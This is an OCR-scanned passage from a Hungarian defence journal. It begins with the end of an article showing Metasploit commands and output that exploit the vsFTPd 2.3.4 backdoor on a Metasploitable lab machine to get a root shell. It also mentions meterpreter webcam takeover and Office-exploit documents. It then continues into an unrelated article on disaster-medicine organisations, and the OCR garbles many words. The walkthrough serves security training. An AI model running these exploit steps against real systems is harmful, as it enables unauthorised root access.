% Rendszergazdai, teljes jogli hozzaférés.
@ Using the MSFconsole interface. Offensive security. Elérhetd: www.offensive-security.com/metasploit-unleas-
hed/msfconsole/ (A letoltés datuma: 2020. 03. 20.)
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Ahogy az a 3. abran lathato, az MSF-parancssorban a search vsFTPd parancs végrehajtja
aVvsFTPd v2.3.4 hatsé ajtohoz tarsitott modul keresését. Ezt a modul lesz hasznalatos
a kizsakmanyolas soran.

st > search vsftpd

[!] Module database cache not built yet, using slow search

Matching Modules

Disclosure Date Rank Description

3. abra
vsFTPd keresési eredmény az MSF-parancssorban.
Forras: a szerzék 6sszeallitasa

Az exploitot megtalalva igy a kdvetkez6 lépés a sebezhet8ség hasznalasa a kizsak-
manyolas soran, illetve a sebezhet6 virtudlis gép IP-cimének bedllitasa, valamint
e [épések ellenbrzése (4. abra).

> use exploit/unix/ftp/vsTtpd 234 |
st exploit( ) > set rhost 209.165.200.235
rhost => 209.165.200.235
st exploit( ) > show options

Module options (exploit/unix/ftp/vsftpd 234 backdoor):

Name  Current Setting Required Description

RHOST 209.165.200.235 vyes The target address
RPORT 21 yes The target port (TCP)

Exploit target:

Id Name

0 Automatic

st exploit(
4. 4bra
A célszamitdgép IP-cimének és a tamaddsra hasznalt port szdmanak megadasa.

Forras: a szerz6k 6sszeallitasa

Ezutan maga a kihasznalas kovetkezik. A vsFTPd exploitot hasznaltuk fel, hogy
root-hozzaférés legyen elérhetd a virtudlis sebezhetd géphez.
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msf exploit (vsFTPd 234 backdoor) > exploit
[*] 209.165.200.235:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 209.165.200.235:21 - USER: 331 Please specify
the password.

[+] 209.165.200.235:21 - Backdoor service has been
spawned, handling..

[+] 209.165.200.235:21 — UID: uid=0(root) gid=0 (root)
[*] Found shell.
[
(

*] Command shell session 1 opened
209.165.201.17:33985 -> 209.165.200.235:6200) at
2017-07-11 11:53:35 -0400

Ez belép a Metasploit Framework terminalba, és a Kali gazdagépr6l mostantol
root-hozzaféréssel rendelkezik a Metasploitable virtudlis géphez. Annak ellendrzé-
séhez, hogy milyen felhasznalo-hozzaféréssel rendelkezik a Metasploitable virtudlis
géphez, a whoami parancsot hajtjuk végre, majd a hostname parancsot, amelybél
kider(l a célpont-szamitogép neve és végiil az ifconfig parancs. Ezzel meghatarozhato
a sebezhet§ virtualis gép IP-cime (209.165.200.235). Alkalmazva a fenti lépéseket
a sajat halézatunkon, illetve mas megvizsgalni kivant halézaton, egy backdooron
keresztiil parancssoros feliileti kapcsolat hozhatd létre azokon a meghatérozott cél-
pont-szamitdgépeken, amelyeknél a vsFTPd sebezhetésége fennall (5. abra).

msf exploit( ) > exploit

*] 209.165.200.235:21 - Banner: 220 (vsFTPd 2.3.4)
*] 209.165.200.235:21 - USER: 331 Please specify the password.
209.165.200.235:21 - Backdoor service has been spawned, handling...
209.165.200.235:21 - UID: uid=0(root) gid=0(root)
*] Found shell.
*] Command shell session 1 opened (209.165.201.17:39057 -> 209.165.200.235:6200) at 2020-03-24 10:45:58

hostname

metasploitable

ifconfig

etho Link encap:Ethernet HWaddr 08:00:27:12:62:22
inet addr:209.165.200.235 Bcast:209.165.200.255 Mask:255.255.255.224
inet6 addr: fe80::a00:27ff:fel2:6222/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1064 errors:0 dropped:0 overruns:0 frame:0
TX packets:1146 errors:0 dropped:® overruns:@ carrier:0
collisions:0 txqueuelen:1000
RX bytes:64214 (62.7 KB) TX bytes:67945 (66.3 KB)
Interrupt:9 Base address:0xd020

Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:16436 Metric:1

RX packets:144 errors:0 dropped:@ overruns:@ frame:0
TX packets:144 errors:® dropped:® overruns:0 carrier:0
collisions:0 txqueuelen:®

RX bytes:40945 (39.9 KB) TX bytes:40945 (39.9 KB)

5. abra

Az exploit futtatdsat kévetSen parancssoros kapcsolat a célpont-szamitdgéppel, amely a kévetkezd
lekérdezéseket teszi a célpont-szamitdgépen: felhasznalonév, szamitégépnév, IP-cim.
Forras: a szerz6k Osszeallitasa
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Osszegzés

A cikkben taglalt szoftveres megoldas jelent&s alapot szolgaltathat egy a Magyar
Honvédség altal alkalmazott informatikai biztonsagi tesztelés részeként. A szakal-
lomany megfelelS kiképzésével, valamint a Metasploit sokrét(i hasznalataval olyan
informatikai sériilékenységeket sikerilhet felfedni, majd ez altal javitani, amelyek
sitdsdhoz, valamint a Magyar Honvédség kibervédelmi tevékenységeihez, az esetleges
tamadasok elkeriiléséhez, megel6zéséhez. Ilyen példak a kdvetkezok: 1. a Windows 7,
Windows 8.1 és Windows 10-es verzidkkal is kiprébalt Veil AES titkositott Reverse-tcp
Metasploit tamadasok (Amelyek a ,ruby/meterpreter/reverse_tcp" és ,ruby/meterp-
reter/reverse_tcp” parancsok hasznalataval képesek a wekamera és mikrofon feletti
iranyitas atvételére az adott szamitogépeken.); 2. az Az MS08-067 és remote shell
a Metasploit konzolalkalmazasbdl kivalaszthato az alkalmazni kivant exploit, tavoli
hozzaférés érdekében; 3. amennyiben nincs tavolrél tdamadhaté hiba, ugy a célpont
szamitégépének tamadasa helyett a felhasznaldt tamadjak meg, altalaban e-mail-
ben. Ennek melléklete valamilyen Microsoft Office dokumentum, Adobe Flash vagy
PDF-allomany, esetleg JavaScript vagy VBScript program. A Metasploit lehet&séget
nyujt a Microsoft Office-alkalmazasok biztonsagi hibait kihasznalé dokumentumok
gyartasara. A fejezet megirasakor a CVE-2017-11882 a legkurrensebb ilyen hiba,
amelyet szamtalan célzott és altalanos tdmadasban hasznalnak.?®

A vsFTPd szerver kihasznalasa egy megfeleld lehet6ség a dontéshozok figyele-
mének felhivasara, a jov6beli esetleges tamadasok megel6zésére, illetve a rendszerek
és halézatok gyenge pontjainak meghatarozasara. Folyamatos alkalmazasaval meg-
valdsithato az allomany digitalis kompetenciajanak fejlesztése, illetve a szakallomany
oktatasa, tovabbképzése.
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Tomeges karesemények
és katasztrofak kovetkezményeinek
egészsegugyi felszamolasat
vegzd és tamogatod szervezetek
tevékenysége

Activities of Organisations Specialising in and
Supporting the Health Response to Major Incidents
and Disasters

Hazankban a tomeges balesetek el6fordulasa gyakori, katasztrofak bekovetkezése
soran jelentkezd nagy szamu sériiltek, betegek ellatasara is barmikor szamithatunk.
Annak érdekében, hogy a helyszini tevékenység hatékony és egyben dinamikus legyen,
illetve a rendelkezésre all6 kapacitas megfelels kihasznalasa is megtorténhessen,
a helyszinen tartézkodo, illetve az ellatasban részt vevd szervezetek 6sszehangolt
egylttmiikodésére van sziikség, amelyek valamennyi tagja a katasztr6fa medicina
elveit koveti. A kdzlemény célja elemezni és értékelni a nagyszamu sériilteket,
betegeket eredményez6 karesemények egészségiigyi felszamolasaban részt vevé
és tamogato szervezetek tevékenységét.

Kulcsszavak: tomeges baleset, katasztrofa, karhely, egészségiigyi felszamolas

In Hungary, one can count on the treatment of a large number of injured people at
any time during disasters, which are quite frequent. In order for the scene activity to
be efficient and dynamic, and for the available capacity to be used properly, there
is a need for coordinated co-operation between the on-site and the organisations
involved in the care, and for all members to follow the principles of disaster medicine.
The purpose of the article is to analyse and evaluate the activities of organisations
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involved in and supporting the health response to incidents that result in a large
number of injured patients.

Keywords: major accident, disaster, scene of accident, health disposal

Bevezetés

Tomeges baleset, katasztréfa, illetve egyéb okok miatt jelentkez6 nagyszamu séri-
lés, megbetegedés ellatasdhoz a karhelyen tevékenyked6 szervezetek dsszehangolt
munkaja nélkilozhetetlen. Amennyiben a szervezés, az iranyitas, a kezdeti egészség-
ugyi felszamolas érdekében végzett valamennyi tevékenység a katasztréfamedicina
elveit kdveti, meghatdarozza azokat a szempontokat, amelyeket megfelelé sorrendben
alkalmazva hatékonyan teljesithetd valamennyi beteg, sériilt id6ben torténd ellatasa
és megfeleld gyogyintézetbe szallitasa. A karhelyen tevékenyked6 szervezetek feladatai
egymastol eltérdek, igy az egészségligyi felszamolas folyamataba — akar a helyszini,
akar a gyogyintézeti ellatast vizsgalva — sziikséges, hogy olyan intézmények is bekap-
csolodjanak, amelyek kivételes vagy sajatos helyzetben egészitik ki a betegellatassal
kapcsolatos teenddket.

Tomeges baleset, katasztrofa meghatarozasa

A megkiilonboztetés nélkiili, megfelels szintli egészségiigyi ellatashoz valo jog hazank-
ban minden egyént egyforman megillet, amelyben egyik fontos tényezd a kérhazon
kivili ellatast nyujto tevékenység, amelynek a stirgésségi ellatast érint6 vonatkozasa
egyértelm(ien az életmiikddések fenntartasat vagy helyreallitasat, a beteg allapota-
nak stabilizalasat, illetve megfeleld és id6ben torténd gyodgyintézeti elhelyezéssel
a gyogyulasat célozza.

A témeges események, balesetek, katasztrofak kialakulasat kovet&en jelentkezs,
az egészséget, testi épséget érintd hatasok sulyos kdvetkezményeinek felszamola-
saban, elharitasaban részt vevd szervek, szervezetek elsédleges feladata a karhelyen
sziikséges beavatkozasok, tevékenységek szervezett, hatékony végzése a szakmai
szabalyok alkotta lehet8ségek mentén, amelynek célja a fentiek értelmében az emberi
élet megmentésén tul az egyén gydgyulasa, a teljes feléplilésének biztositasa is.

Ezekre a tevékenységekre a katasztrofa- és tomeges baleseti ellatas soran alkal-
mazott katasztréfamedicina eljarasi rendje és szabalyai adnak valaszt és utmutatast
a leheté legtobb emberi élet megmentésére, az egészségiigyi veszteség csokkentésére
fokuszalva.

Slirg6ésségi orvostani terminoldgia szerint tdmeges balesetnek minésil az az
esemény, amely soran kdzel azonos helyen, idében és okbdl tobb sériiltet, beteget
kell ellatni, fuggetleniil azok allapotanak sulyossagatol.

A fenti meghatdrozashoz adminisztrativ okok miatt pontos sériiltszamot is
megjeldltek, azonban a helyszini ellatas sordn nemcsak a sériltek szama, hanem azok
allapota, valamint a rendelkezésre allé6 mentSer6k mindsége és mennyisége donti
el, hogy az ellatas atmeneti kompromisszumok aran valésithaté-e meg, vagy sem.
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Az Orszagos Ment6szolgalat (OMSZ) eljarasrendjében meghatarozott és jelen-
leg érvényes szabdlyozas alapjan az egy — koriilirhato foldrajzi — helyen, egyidében
torténd esemény kovetkeztében legalabb 7 f6 barmilyen sulyossagu vagy legalabb 3
f6 T1 és/vagy T2 sulyossagu sériilést, mérgezést szenved, és ezeknek a betegeknek
primer mentése torténik.?

A katasztréfa terminoldgiaja jogszabalyban meghatarozott, a stirg6sségi ellatas
fékuszaban a hirtelen vagy fokozatosan jelentkez6 nagyszamu sériilt, beteg azonnali
ellatasi igénye all, amely jelent8s egészségiligyi kapacitas rovid idén belili elérhetd-
ségét feltételezi.

A katasztrofavédelemrél és a hozza kapcsolodo egyes torvények modositasardl
sz6l6 2011. évi CXXVIII. térvény értelmében katasztrofa ,veszélyhelyzet kihirdetésére
alkalmas, illetve e helyzet kihirdetését el nem éré mértékd olyan allapot vagy helyzet,
amely emberek életét, egészségét, anyagi értékeiket, a lakossag alapvetd ellatasat,
a természeti kornyezetet, a természeti értékeket olyan médon vagy mértékben
veszélyezteti, karositja, hogy a kar megel6zése, elhdritasa vagy a kdvetkezmények
felszamolasa meghaladja az erre rendelt szervezetek el8irt egylittmUikddési rendben
tortén6 védekezési lehetdségeit, és kilonleges intézkedések bevezetését, valamint
az dnkormanyzatok és az allami szervek folyamatos és szigortian 6sszehangolt egyditt-
mUikodését, illetve nemzetkozi segitség igénybevételét igényli” 2

A karhely egészségiigyi felszamolasanak szereplGi

A helyszini, illetve a gydgyintézeti ellatas akar parhuzamosan is térténhet ugy, hogy
a karhelyen mar az elsé vizsgélaton és a sziikséges beavatkozason atesett betegek,
sériltek transzportja megkezdédik, és a tovabbi ellatasuk az idealisan definitiv ella-
tast nyujté intézetben folytatodik tovabb, igy mind az osztalyozas, mind az ellatas
és a szallitas (,3 T" szabaly, tehat a Triage, Treatment, Transport) folyamatosan
biztositja a sériiltek gyogyintézetbe dramlasat.

Laikus, nem hivatasos ellatok altal végzett elsGsegélynydjtas

Nagyszamu aldozattal jaro, hirtelen bekdvetkezett események sorén a helyszinen
tartozkodé els@segélynyujtok aktiv tevékenysége jelentdsen hozzajarulhat a jelent-
kez& - és a kialakult helyzettél fligg6en el6re nehezen megjésolhatd ideg fennalld — diszk-
repancia csdkkentésére, azonban a jelenlegi képzési anomaliak, az ,elsésegélynyujtas”
kotelezé tantargyként torténd oktatasanak hianya, a munkahelyi elsésegélynyujtok
alacsony szdma altalaban a segélynyuijtas elmaradasat eredményezik. Altalanos-
sagban elmondhato, hogy valamennyi, hirtelen egészségkarosodast okozd sériilés,

¢ Toth Gyorgy: Veszélyes anyaggal szennyezett tomeges karhely egészségiigyi felszamolésa. Bolyai Szemle,
20. (2011), 1. 29-44.
3 2071. évi CXXVIII. térvény a katasztrofavédelemrél és a hozza kapcsolddd egyes torvények modositasarol.
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megbetegedés alapszintl ellatasaban a helyszinen tartézkod6 szemtanuk, illetve
az els6ként helyszinre érkez6 laikus ellatok szerepe kiemelt jelent8ségu.

Alapszintli elsésegélynyujtasi ismeretekkel rendelkezd, a helyszini ellatasba bevonhatd
személyek tomeges események helyszinén a stabil allapotu (T3) sériltek ellatasaban,
felligyeletében, a dokumentaciéban, illetve a betegmozgatasban lehetnek hasznos koz-
rem(ikodok. A szaksegitség helyszinre érkezése elStt torténd elsd ellatast az Orszagos
Menté&szolgalat 2017. oktoberétsl miikodtetett Sziv City mobil alkalmazasa (1. abra)
is segitheti, amelynek lényege, hogy a ment6egységek riasztasaval parhuzamosan azok
a regisztralt, dnkéntes felhasznalok, akik a karhely 500 méteres korzetében tartoz-
kodnak, jelzést kapnak, igy a mentdk kiérkezése elétt elkezdédhet a betegek/sériiltek
ellatasa — az applikacio elsésorban kozteriileten jelentkezé rosszullétek esetén térténd
elsé ellatast, kiemelten az Ujraélesztést tamogatja, azonban adott esetben tdmeges
események sériltjeinek ellatasahoz is irdnyithat laikus segélynyujtokat.

1. 4bra
Sziv City alkalmazas logdja.
Forras: http://szivcity.hu (A letoltés datuma: 2020. 01. 27.)

Orszagos Mentészolgalat

A prehospitalis ellatast szervez6, els6ként a helyszinre érkezd egészségligyi szolgalat
ment&egységeire kiemelt feladat harul, amelyek megoldasaban, a karhely egészségligyi
felszamolasaban kézponti szerepet vallalnak.

Ariasztott mentSegységek — ment6motor, mentégépkocsi, esetkocsi, rohamkocsi,
mentdShelikopter —a kompromisszumos medicina elveinek megfelel6en kezdik a helyszini
tevékenységiiket, az aldozatok, sériiltek, betegek szamanak fliggvényében. A helyszini
ellatast segiti a Tomeges Baleseti Egység is, amely mintegy 100-150 sériilt ellatasa-
hoz szlikséges egészségligyi felszereléssel rendelkezik, tovabba a sebesiilt gy(jtéhely
kialakitasanak megfeleld infrastrukturat, az egészségiigyi karhelyparancsnok vezetési
pontjat segitd eszkdzoket is tartalmazza (2., 3. &bra).
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A megyei, illetve a kdzponti iranyitdcsoport feladata a bejelentést kovet&en parhu-
zamosan, illetve a tobbfokozatu mentésszervezés elve alapjan megfelel6 szamu és szintd
mentSegységek riasztasa és helyszinre iranyitasa, valamint a karhely egészségiigyi fel-
szamolasaval egyidSben a korhazi ellato- és fektetSkapacitas felmérése. Az egészséguigyi
karhelyparancsnokkal biztositott folyamatos kommunikacié segiti a kilirités, a betegek,
sériltek transzportjanak tmogatasat a lehetséges betegutak meghatarozasaval.

2. 3dbra
Az Orszagos Mentészolgalat altal miikodtetett Tomeges Baleseti Egység.

Forras: www.facebook.com/orszagosmentok/posts/2565402530137450/
(A letoltés datuma: 2020. 01. 27.)

3. abra

Az Orszagos Mentészolgalat altal miikédtetett Tomeges Baleseti Eqység és a felallitott sator a sériiltgydijté helyen.
Forras: www.facebook.com/orszagosmentok/posts/2565402530137450/ (A letéltés datuma: 2020. 01. 27.)
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A légiment6k egészségligyi készlete és mobilitasa, a riasztasi tervnek megfeleléen
berendelhetd bajtarsak, illetve a tartalék ment&egységek beallitasanak lehetdsége
noveli a helyszini ellatd- és kiurit6kapacitast, amely tovabb emelhetd a tédmegkdz-
lekedési jarmUvek — megyei védelmi bizottsagok dontései alapjan —, illetve a magan
mentd&szolgalatok és betegszallitd szervezetek, valamint dnkéntes, civil szervezetek
szallitd- és elldtokapacitasainak igénybevételével.

A Magyar Honvédség

A katasztrofak helyszini felszamolasaba a Magyar Honvédség Honvédelmi Katasztré-
favédelmi Rendszerének alabbi készenléti szervei, szervezetei is bevonhatok:

+ Magyar Honvédség Mobil Biolégiai Laboratérium Komplexum: bioldgiai minta-
vevé és diagnosztikai képességgel rendelkezik, tovabba adatgy(ijtést, értékelést
végez, rovid id6n belil az alkalmazas helyszinén telepithetd;

+ Magyar Honvédség Atom-, Bioldgiai-, Vegyi Riasztasi és Ertesitési Rendszer,
amely veszélyeztetettség esetén részt vesz az érintettek értesitésében, riasz-
tasaban;

« Magyar Honvédség Kozegészségiigyi és Jarvanyligyi Szolgalatanak hatosagi
feladatait a HM Hatdésagi f6osztalya, jarvanytigyi felderitési feladatokat a pol-
gari jarvanyugyi és egészségligyi hatdsag végzi;

« Magyar Honvédség Mobil Orvoscsoportja a karhely egészségiigyi felszamo-
lasaban, a sériiltek elldtasaban vesz részt;

« Magyar Honvédség Egészségligyi Kdzpont a sériiltek, betegek fogadasat,
gyogyintézeti ellatasat végzi;

+ aHonvédelmi Katasztréfavédelmi Rendszer nemcsak a honvédelmi agazatot
érint6 katasztrofahelyzet, sulyos szerencsétlenség esetén, hanem a hazai
és nemzetkdzi katasztréfavédelmi feladatok végrehajtasaban is kdzremdiko-
dik, alegységei els6sorban a veszélyes teriiletek lezarasaban, 6rzés-védelem
biztositasaban, jarvanylgyi feladatok végrehajtasaban, logisztikai miveletek
biztositasaban tevékenykednek.*

Jaro- és fekvébetegellato intézetek

A katasztrofak, tomeges események aldozatainak ellatasi hattérintézményei azok
a gyogyintézetek, amelyek a kdzelséglik miatt elsédleges szallitasi célpontként sze-
repelnek. A hirtelen jelentkezd nagyszamu sériilt, beteg elldtasa érdekében életbe
léphetnek az intézményi katasztréfatervben meghatarozott intézkedések, amelyek
résztervei tartalmazzak a fert6z6 betegek, illetve a veszélyes anyagokkal érintkezett
sériiltek tomeges ellatasaval kapcsolatos teend6ket is.

4 Major Laszl6 - Liptay Laszlé — Orgovan Gyorgy: A katasztrofa-felszamolds egészségiigyi alapjai. Budapest, Sem-

melweis, 2010.
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Az aktualis tobbletfeladat lehet a mennyiségileg megndvelt betegellatas — kapa-
citasbovités —, a tovabbi ellatasi vagy diagnosztikai profil biztositasa, illetve egyedi
feladat, amellyel az adott intézményt megbizzak.

Az eszkdz- és anyagellatas potlasa az Allami Egészségiigyi Tartalékbol torténik,
az agykapacitas sziikségkorhaz telepitésével bévithetd — szintén allami tartalékok
felhasznalasaval.®

Egészségliqyi tartalékok

Azonnal bevethetd, illetve gyors poétlast igényld eszkdzok, anyagok tekintetében
az egészségiigyért felel6s miniszter az Allami Egészségiigyi EIlat6 Kézpont Egészségiigyi
Készletgazdalkodasi Féosztalya altal mozgdsithatja az Allami Egészségiigyi Tartaléko-
kat, ezen beliil az orvosi, orvostechnikai eszkdzoket, m(iszereket, orvosi segélyhelyek
és szlikségkorhazak miikodéséhez, mikodtetéséhez sziikséges felszereléseket, egész-
ségligyi anyagokat, amelyek indokolt esetben elérhet&k és azonnal hasznalhatok. Ezek
Osszetétele, nagysaga, feladatai és alkalmazasi elvei folyamatos revizié alatt allnak.

A tartalékok alabbi elemeit elsésorban a mobilizalhatdsag tekintetében allitottak

dssze, ilyenek:

+ Gyorsreagalasu segélycsapat felszerelés: 9sszedllitott, azonnal indithatd, 10 fés
egészségligyi személyzet hétnapos tevékenységéhez elegendd felszereléssel
rendelkezik, altalaban nemzetkdzi segélynyujtasi céllal alkalmazzak;

+ Mobil Orvosi Segélyhely: teljes kapacitassal mintegy 1000-1200 sériilt osztalyo-
z3sara, ellatasara, illetve szallitasra torténd felkészitésre alkalmas, rendelkezésre
allasi idejlk, bevethet&ségiik a tavolsag és a telepithetség fliggvénye, egyes
elemei kiilon is telepitheték. Gyors mobilizaciojanak kdszénhetden katasztrofa
esetén elséként alkalmazhatjak, valamint egyes tovabbi elemek ratelepitésével
akar kérhazként is mikodtethetd;

+ Orvosi Segélyhely: a Mobil Orvosi Segélyhelyhez hasonld, de annal kevésbé
korszer(i felszereltséggel rendelkezik, feladata az osztalyozas, az életmenté
orvosi beavatkozasok elvégzése, masrészt a korhazi elladtast nem igényld sériiltek
elsé ellatasa. Két- haromnapi folyamatos mikddésre, mintegy 800-1000 f6
ellatasara alkalmasak, mitéblokkal nem rendelkeznek;

+ Mobil Sziikségkorhaz: 6nallé miikodésre alkalmas, 400 agyas, korhazi egység,
vegyes telepitésii rendszere miatt (épilet, konténer, sator) megfelels szabad
kornyezettel rendelkezd épliletbe célszer( telepiteni. A gyogyintézeti ellatast
egésziti ki, valamint a szlikségessé vald eszkdzok, illetve egészségligyi anyagok
atadasat, utanpotlasat is végzi;

« Altalanos Szikségkdrhaz: mintegy 400 4gyas matrixkdrhaz, de nem teljesen
6nallé makodésre lett tervezve, ezért elengedhetetlen a telepitd korhazzal
valo kozelség és egylittmiikodés;

> Gramantik Péter: Egészségligyi vélsaghelyzet, a katasztrofa egészségligyi ellatas tartalma, szervezése és irdnyi-

tasa. Elérhetd: www.kormanyhivatal.hu/download/c/af/d0000/OTH%20KAT%20VEDELEM%20%28GP%20
2013%20Eger%29.pdf (A letoltés datuma: 2020. 04. 20.)
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+ Specifikus Sziikségkdrhdz: elsésorban a telepitd kérhaz agyszamanak kiegé-
szitésére, a mar ellatott, de tovabbi korhazi elhelyezést, orvosi feligyeletet
és apolast igényld betegek elhelyezésére alkalmas egység.®

A karhely egészségiigyi felszamolasat tamogato szervezetek
Orszagos Epidemioldgiai Kézpont (OEK)

Az Orszagos Epidemioldgiai Kozpont a Nemzeti Népegészségiigyi Kozpont (NNK)
orszagos intézete, azismeretlen eredet( fert6z6 megbetegedés, illetve jarvanyveszély
helyszinén szakmai iranyitast végez, sziikség esetén Mikrobioldgiai Felderit6 Csoportot
aktivizal, amelynek feladata a helyszini mikrobiolégiai mintavétel és annak azonositas
céljabol a laboratériumba torténd szallitasa.

A Nemzeti Népegészséqligyi Kozpont (NNK) tovébbi szakteriiletei: 1. Kémiai Biz-
tonsagi és Kompetens Hatosagi Féosztaly az Orszagos Kémiai Biztonsagi Intézet jog-
utoddja, felel8s a kémiai biztonsagért, valamint az Orszagos Toxikologiai Informacids
Szolgalat miikodtetéséért; 2. Sugarbiologiai és Sugaregészségligyi Fosztaly (SSFO)
az Orszagos Sugarbiologiai és Sugaregészségligyi Kutato Intézet (OSSKI) jogutddia,
Sugdregészségligyi Készenléti Szolgalatot miikddtet, felelds a sugdrszennyezettség
felderitéséért, illetve a sugarzo anyagok helyszini vizsgalataért. Nuklearis baleset esetén
az NNK Egészségligyi Radiologiai Méré- és Adatszolgaltato Halozat sugaregészségiigyi
laboratdriumait is miikodteti, amelyek sugarzasi adatokat szolgéltatnak az SSFO felé.”

A fentieken tul az NNK jarvanyveszélyes helyszinen kdzegészségiigyi intézkedé-
seket hataroz meg, illetve végrehajtasukat rendeli el, amennyiben kitelepitésre kerdil
sor, ellen6rzi a befogaddhelyeket, intézkedik a lakossag egészségiigyi ellatasarol,
a sziikséges véddoltasokrol, a fertStlenitések elrendelésérdl és végrehajtasarol.®

Kovetkeztetések

Tomeges események helyszinén a kivalto hatastol fliggetlen, allandé szereplék van-
nak jelen a karhely egészségiigyi felszamolasanak kezdetén, azonban ezt kévetden,
a felszamolas késébbi szakaszaban tovabbi szervezetek, intézetek, intézmények segitik
mind az atmeneti elldtast, mind a gyogyintézeti elhelyezést, felismerve, adott esetben
beazonositva az egészségiigyi kockazatot jelentd hatasokat. Osszességében elmond-
hato, hogy az egészségligyi felszamolas, a sokszor aspecifikus helyszini és specifikus
gyogyintézeti ellatas szamos szervezet egyiittm(ikodé tevékenységét jelenti, amely
nagyszamu sérilt, beteg jelentkezése esetén kiemelkedd szerepet kap. Az Orszagos
Ment6szolgdlat kezdeti tevékenysége — kiegészitve a laikus, nem hivatdsos segélynyuj-
tokkal - biztosithatja a tulélést az elsé szakorvosi ellatasig, amelyet kiegészithetnek,

¢ Halachy Eniké: Az allami egészségligyi tartalék helyzete napjainkban. Hadmérnék, 14. (2019), 2. 325-334.

7 521/2013. (XII. 30.) Korm. rendelet az egészségligyi valsaghelyzeti ellatasrol.

& 385/2016. (XII. 2.) Korm. rendelet a févarosi és megyei kormanyhivatal, valamint a jarasi (févarosi kertileti)
hivatal népegészségligyi feladatai ellatasardl, tovabba az egészségiigyi llamigazgatasi szerv kijelolésérol.
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tamogathatnak a Magyar Honvédség specidlis, az adott esemény jellegébdl adddo
feladatokat teljesité szervezetei, egységei. A jard- és fekvObetegellatod intézetek
a sériltek fogadasat és szakorvosi ellatasat végzik, nagyszamu sériilt, a karhely
és a gyogyintézet kdzotti nagy tavolsag, illetve specialis ellatasi igény indokolhatja
az egészségligyi tartalékok bevetését, alkalmazasat tovabbi eszkozok helyszinre jut-
tatasaval, illetve segélyhelyek, adott esetben sziikségkdrhaz feldllitasaval. Fert6z6
megbetegedés, jarvanyveszély helyszinén a fentieken tul a Nemzeti Népegészségiigyi
Kozpont intézetei, szervei szakmai iranyitast, toxikoldgiai, sugaregészségligyi vizsgala-
tokat, valamint kdzegészségligyi intézkedéseket végeznek, amelyek mind a lakossag,
mind a helyszinen tartézkodo ellatok egészségvédelmét is jelentik.
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